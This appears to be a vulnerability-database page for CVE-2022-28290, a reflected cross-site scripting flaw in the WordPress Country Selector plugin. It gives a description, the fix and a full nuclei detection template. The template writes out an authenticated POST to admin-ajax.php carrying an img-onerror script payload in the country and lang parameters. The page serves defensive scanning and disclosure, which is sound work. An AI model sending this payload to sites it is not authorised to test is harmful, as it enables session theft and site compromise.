Browse / CVEs / CVE-2022-28290
CVE-2022-28290· welaunch / wordpress country selector· CWE-79
WordPress Country Selector <1.6.6 - Cross-Site Scripting
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
How to confirm it
Send: POST /wp-login.php ; POST /wp-admin/admin-ajax.php?action=check_country_selector
Positive when: contains "<img src=x onerror=alert(document.domain)>" and "country_selector_" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-28290 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-28290
info:
name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
author: Akincibor
severity: medium
description: |
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-28290
cwe-id: CWE-79
epss-score: 0.01399
epss-percentile: 0.72691
cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: welaunch
product: wordpress_country_selector
framework: wordpress
tags: cve,cve2022,wordpress-country-selector,wpscan,wp,wordpress,wp-plugin,xss,welaunch,vuln,vkev
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
skip-variables-check: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>'
- 'country_selector_'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from